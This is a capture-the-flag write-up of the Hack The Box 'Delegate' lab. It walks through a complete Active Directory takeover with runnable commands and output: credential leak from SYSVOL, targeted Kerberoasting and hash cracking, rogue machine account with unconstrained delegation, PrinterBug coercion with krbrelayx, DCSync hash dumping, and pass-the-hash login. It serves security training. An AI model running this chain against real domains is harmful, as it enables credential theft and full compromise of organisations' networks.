HTB Delegate CTF Writeup
A plaintext credential leaks from a SYSVOL logon script. GenericWrite over N.Thompson enables a targeted Kerberoast to crack his password, and his SeEnableDelegationPrivilege is used to stage an unconstrained delegation attack: a rogue machine account coerces DC authentication via PrinterBug, the captured TGT is relayed, and a DCSync dumps all hashes.
HTB Delegate CTF
Config
Set /etc/hosts:
1
echo 10.129.90.178 dc1.delegate.vl dc1 delegate.vl | sudo tee -a /etc/hosts
SMB Enumeration
Guest authentication enabled:
1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.90.178 -u 'guest' -p '' --shares
SMB 10.129.90.178 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.90.178 445 DC1 [+] delegate.vl\guest:
SMB 10.129.90.178 445 DC1 [*] Enumerated shares
SMB 10.129.90.178 445 DC1 Share Permissions Remark
SMB 10.129.90.178 445 DC1 ----- ----------- ------
SMB 10.129.90.178 445 DC1 ADMIN$ Remote Admin
SMB 10.129.90.178 445 DC1 C$ Default share
SMB 10.129.90.178 445 DC1 IPC$ READ Remote IPC
SMB 10.129.90.178 445 DC1 NETLOGON READ Logon server share
SMB 10.129.90.178 445 DC1 SYSVOL READ Logon server share
I authenticated to the SYSVOL share, and located a suspicious “users.bat” script in the “scripts” folder:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ smbclient -U guest //dc1/sysvol
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Sep 9 09:52:30 2023
.. D 0 Sat Aug 26 05:39:25 2023
delegate.vl Dr 0 Sat Aug 26 05:39:25 2023
cd
4652287 blocks of size 4096. 969184 blocks available
smb: \> cd delegate.vl
lssmb: \delegate.vl\> ls
. D 0 Sat Aug 26 05:45:45 2023
.. D 0 Sat Aug 26 05:39:25 2023
DfsrPrivate DHSr 0 Sat Aug 26 05:45:45 2023
Policies D 0 Sat Aug 26 05:39:30 2023
scripts D 0 Sat Aug 26 08:45:24 2023
4652287 blocks of size 4096. 969184 blocks available
smb: \delegate.vl\> cd scripts
ls
smb: \delegate.vl\scripts\> ls
. D 0 Sat Aug 26 08:45:24 2023
.. D 0 Sat Aug 26 05:45:45 2023
users.bat A 159 Sat Aug 26 08:54:29 2023
4652287 blocks of size 4096. 969184 blocks available
smb: \delegate.vl\scripts\> get users.bat
getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
The script leaks both username and password:
I saved the username to “users.txt” and the password to “passwords.txt” and attempted authentication. It was successful:
1
2
3
$ nxc smb dc1 -u users.txt -p passwords.txt
SMB 10.129.90.178 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.90.178 445 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
I used the access to dump the password policy for the org to make sure not to lock any accounts:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nxc smb dc1 -u a.briggs -p 'P4ssw0rd1#123' --pass-pol
SMB 10.129.90.178 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB 10.129.90.178 445 DC1 [+] delegate.vl\a.briggs:P4ssw0rd1#123
SMB 10.129.90.178 445 DC1 [+] Dumping password info for domain: DELEGATE
SMB 10.129.90.178 445 DC1 Minimum password length: 7
SMB 10.129.90.178 445 DC1 Password history length: 24
SMB 10.129.90.178 445 DC1 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.129.90.178 445 DC1
SMB 10.129.90.178 445 DC1 Password Complexity Flags: 000001
SMB 10.129.90.178 445 DC1 Domain Refuse Password Change: 0
SMB 10.129.90.178 445 DC1 Domain Password Store Cleartext: 0
SMB 10.129.90.178 445 DC1 Domain Password Lockout Admins: 0
SMB 10.129.90.178 445 DC1 Domain Password No Clear Change: 0
SMB 10.129.90.178 445 DC1 Domain Password No Anon Change: 0
SMB 10.129.90.178 445 DC1 Domain Password Complex: 1
SMB 10.129.90.178 445 DC1
SMB 10.129.90.178 445 DC1 Minimum password age: 1 day 4 minutes
SMB 10.129.90.178 445 DC1 Reset Account Lockout Counter: 30 minutes
SMB 10.129.90.178 445 DC1 Locked Account Duration: 30 minutes
SMB 10.129.90.178 445 DC1 Account Lockout Threshold: None
SMB 10.129.90.178 445 DC1 Forced Log off Time: Not Set
You can see from the password policy that Account Lockout Threshold is set to none. Good for us.
I also enumerated the group policy information using nxc:
1
nxc smb dc1 -u A.Briggs -p 'P4ssw0rd1#123' -M gpp_privileges
It returned me a lot of information about the domain, and, more importantly, the SID S-1-5-21-1484473093-3449528695-2030935120-1108 has been granted SeEnableDelegationPrivilege as you can see from the snippet below:
1
GPP_PRIV... 10.129.90.178 445 DC1 SeEnableDelegationPrivilege: S-1-5-21-1484473093-3449528695-2030935120-1108, Administrators
This is highly unusual and potentially dangerous because:
SeEnableDelegationPrivilege is an extremely sensitive privilege that allows an account to enable Kerberos delegation on other accounts and computers. This privilege should typically only be held by Domain Admins.
This same SID also has
SeBatchLogonRight, suggesting it might be a service account rather than an administrative account.
To discover what user the SID refers to, I used nxc rid brute:
1
$ nxc smb 10.129.90.178 -u N.Thompson -p KALEB_2341 --rid-brute 2000
And I could see the SID ending with “1108” in the output (n.thompson):
LDAP Enumeration
I used the users-export function from nxc ldap to get all users in the domain to a file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc ldap 10.129.90.178 -u A.Briggs -p 'P4ssw0rd1#123' --users-export users.txt
LDAP 10.129.90.178 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.90.178 389 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [*] Enumerated 8 domain users: delegate.vl
LDAP 10.129.90.178 389 DC1 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.90.178 389 DC1 Administrator 2023-08-26 11:46:29 0 Built-in account for administering the computer/domain
LDAP 10.129.90.178 389 DC1 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.90.178 389 DC1 krbtgt 2023-08-26 05:40:08 0 Key Distribution Center Service Account
LDAP 10.129.90.178 389 DC1 A.Briggs 2023-08-26 08:55:15 0
LDAP 10.129.90.178 389 DC1 b.Brown 2023-08-26 08:55:15 0
LDAP 10.129.90.178 389 DC1 R.Cooper 2023-08-26 08:55:15 0
LDAP 10.129.90.178 389 DC1 J.Roberts 2023-08-26 08:55:15 0
LDAP 10.129.90.178 389 DC1 N.Thompson 2023-09-09 11:17:16 0
LDAP 10.129.90.178 389 DC1 [*] Writing 8 local users to users.txt
No password reuse, unfortunately for us:
1
2
3
4
5
6
7
8
9
10
$ nxc ldap dc1 -u users.txt -p 'P4ssw0rd1#123' --continue-on-success
LDAP 10.129.90.178 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\Administrator:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\Guest:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\krbtgt:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\b.Brown:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\R.Cooper:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\J.Roberts:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [-] delegate.vl\N.Thompson:P4ssw0rd1#123
I also used the get-desc-users module in nxc ldap to make sure there’s no easy wins (like cleartext password in the description of the user object):
1
2
3
4
5
6
7
$ nxc ldap dc1 -u a.briggs -p 'P4ssw0rd1#123' -M get-desc-users
LDAP 10.129.90.178 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.90.178 389 DC1 [+] delegate.vl\a.briggs:P4ssw0rd1#123
GET-DESC... 10.129.90.178 389 DC1 [+] Found following users:
GET-DESC... 10.129.90.178 389 DC1 User: Administrator description: Built-in account for administering the computer/domain
GET-DESC... 10.129.90.178 389 DC1 User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.129.90.178 389 DC1 User: krbtgt description: Key Distribution Center Service Account
I tried kerberoasting and asreproasting too right away but got no results as you can see:
1
2
3
4
5
6
7
8
9
10
$ nxc ldap dc1 -u A.Briggs -p 'P4ssw0rd1#123' --kerberoast k.log
LDAP 10.129.90.178 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.90.178 389 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 [*] Skipping disabled account: krbtgt
LDAP 10.129.90.178 389 DC1 [*] Total of records returned 0
$ nxc ldap dc1 -u A.Briggs -p 'P4ssw0rd1#123' --asreproast a.log
LDAP 10.129.90.178 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.90.178 389 DC1 [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP 10.129.90.178 389 DC1 No entries found!
Bloodhound Enumeration
I collected bloodhound data using nxc:
1
$ nxc ldap 10.129.90.178 -u A.Briggs -p 'P4ssw0rd1#123' --bloodhound -c All --dns-server 10.129.90.178
First thing I like doing when analyzing bloohound data is to look for interesting and maybe accessible groups like “remote management users” or “remote desktop users”.
I looked for the “remote management users” and figured there’s only one user that’s member of the group (n.thompson).
I clicked on n.thompson and, on the right pane, selected “inbound object control” to find this:
Our user, “a.briggs” has “GenericWrite” over n.thompson. Since it’s just “GenericWrite”, we don’t have many options other than a targeted kerberoast attack (https://github.com/ShutdownRepo/targetedKerberoast):
1
2
3
4
5
6
$ python3 targetedKerberoast.py -d delegate.vl -u a.briggs -p 'P4ssw0rd1#123' --dc-host dc1.delegate.vl
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (N.Thompson)
<SNIP>
I grabbed the hash returned by the output of the targetedKerberoast tool and proceeded to use hashcat to crack it:
1
> .\hashcat.exe ..\hashes\htb\delegate-kerberoast.txt ..\rockyou.txt -d 1
New credentials:
1
2
Username: N.Thompson
Password: KALEB_2341
Vertical Privilege Escalation
The attack path is clear now thanks to previous enumeration. We need to perform an unconstrained delegation attack.
First, let’s understand what delegation is and why it exists. Imagine you’re a user who logs into a web application, and that web application needs to access a database on your behalf. In Kerberos authentication, the web server needs some way to prove to the database server that it’s acting on your behalf. Delegation is the mechanism that allows this.
There are different types of delegation, but unconstrained delegation is the most powerful and dangerous. When a server is configured with unconstrained delegation, any time a user authenticates to that server, the server receives a copy of the user’s Ticket Granting Ticket (TGT). The TGT is like a master key that can be used to request access to any service in the domain on behalf of that user.
Here’s the high-level strategy: if the attacker can create a fake computer that has unconstrained delegation enabled, and then trick the Domain Controller into authenticating to that fake computer, they’ll capture the Domain Controller’s TGT. With the DC’s TGT, they can impersonate the DC and perform a DCSync attack to dump all password hashes.
Step 1: Creating a Machine Account
I used the credentials of N.Thompson, who had the SeEnableDelegationPrivilege, to create a new machine account called “bsec$”. This was possible because the MachineAccountQuota was set to 10, meaning any authenticated user could add computers to the domain. I set the password to “BehindSecurity@2025” (in order to match the domain’s password policy requirements) for this fake computer:
1
$ addcomputer.py -computer-name bsec -computer-pass 'BehindSecurity@2025' -dc-ip 10.129.90.178 delegate.vl/N.Thompson:'KALEB_2341'
Step 2: Adding the DNS Record
I needed the Domain Controller to be able to resolve the hostname of my fake computer to my attacking machine’s IP address. Using dnstool.py and LDAP authentication, I added an A record pointing “bsec.delegate.vl” to my IP at 10.10.14.224. This works because in Active Directory, authenticated users typically have permissions to create DNS records through LDAP operations:
The command looks like this:
1
python3 dnstool.py -u 'delegate.vl\bsec$' -p 'BehindSecurity@2025' --action add --record bsec.delegate.vl --data 10.10.14.224 --type A -dns-ip 10.129.90.178 dc1.delegate.vl
Step 3: Adding a Service Principal Name (SPN)
I needed to give my fake computer a Service Principal Name, specifically “cifs/bsec.delegate.vl”. An SPN is like a service identifier in Kerberos that tells the authentication system what service is running on what host. The CIFS (Common Internet File System) service is what SMB uses, so this SPN would allow the fake computer to receive SMB authentication attempts:
The command is:
1
python3 addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/bsec.delegate.vl' -t 'bsec$' -dc-ip 10.129.90.178 dc1.delegate.vl --additional
And then
1
python3 addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/bsec.delegate.vl' -t 'bsec$' -dc-ip 10.129.90.178 dc1.delegate.vl
Step 4: Enabling Unconstrained Delegation
Here’s where the SeEnableDelegationPrivilege comes in. This privilege allowed the me to modify the userAccountControl attribute of the fake computer account to add the TRUSTED_FOR_DELEGATION flag. This is the critical step that enables unconstrained delegation on the fake computer:
The command:
1
bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host dc1.delegate.vl add uac 'bsec$' -f TRUSTED_FOR_DELEGATION
Step 5: Setting Up the Relay
I ran krbrelayx.py, which acts as a relay server. This tool listens for incoming authentication attempts and, because the fake computer is configured with unconstrained delegation, will capture any TGTs that come with those authentication attempts.
First, I used an online tool (https://codebeautify.org/ntlm-hash-generator) to generate a ntlm hash for the computer account password:
I started krbrelayx, passing the ntlm hash:
1
python3 krbrelayx.py -hashes :B4B83CF8C09D86ED23D20B9BDCD9AF26
Step 6: Coercing Authentication
I used the PrinterBug (also known as the Printer Spooler bug) to force the Domain Controller to authenticate to the fake computer. PrinterBug is a feature in Windows where you can tell the print spooler service on a remote computer to connect back to you for change notifications. When the DC’s computer account authenticates to the fake computer, it includes its TGT because the fake computer has unconstrained delegation enabled. I used NetExec to coerce authentication:
1
nxc smb dc1.delegate.vl -u 'bsec$' -p BehindSecurity@2025 -M coerce_plus -o LISTENER=bsec.delegate.vl METHOD=PrinterBug
Step 7: Capturing the TGT
When the DC authenticated, krbrelayx captured the DC’s TGT and saved it to a file. This TGT is like having temporary credentials for the DC’s machine account:
Step 8: DCSync Attack
With the DC’s TGT, I could impersonate the DC’s machine account. Domain Controllers have replication privileges that allow them to request password data from each other. I used this captured TGT to perform a DCSync attack, which asks the DC to replicate all password hashes. Since I was presenting valid DC credentials (via the TGT), the DC complied and handed over all the NTLM hashes, including Administrator’s.
First, export ticket to correct variable:
1
$ export KRB5CCNAME=./DC1\[email protected][email protected]
And perform DCSYNC:
1
2
3
4
5
6
7
8
9
10
11
12
$ secretsdump.py -k dc1.delegate.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
<SNIP>
Log in as Administrator via winrm:
1
$ evil-winrm -i dc1 -u administrator -H c32198ceab4cc695e65045562aa3ee93








